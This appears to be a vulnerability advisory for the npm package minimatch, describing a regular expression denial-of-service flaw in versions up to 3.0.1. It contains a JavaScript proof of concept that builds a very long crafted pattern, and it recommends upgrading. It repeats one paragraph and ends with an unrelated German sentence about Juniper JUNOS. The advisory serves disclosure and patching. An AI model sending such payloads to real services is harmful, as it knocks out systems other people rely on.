Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.

Affected: npm: minimatch

Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.

## Proof of Concept ```js var minimatch = require(“minimatch”);

// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ```

## Recommendation

Update to version 3.0.2 or later.

Affected: Ubuntu:Pro:14.04:LTS: node-minimatch, Ubuntu:Pro:16.04:LTS: node-minimatch

Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.

Ein Angreifer kann mehrere Schwachstellen in Juniper JUNOS ausnutzen, um einen Denial of Service zu verursachen, Informationen offenzulegen, Privilegien zu erweitern und Sicherheitsmechanismen inklusive zu umgehen.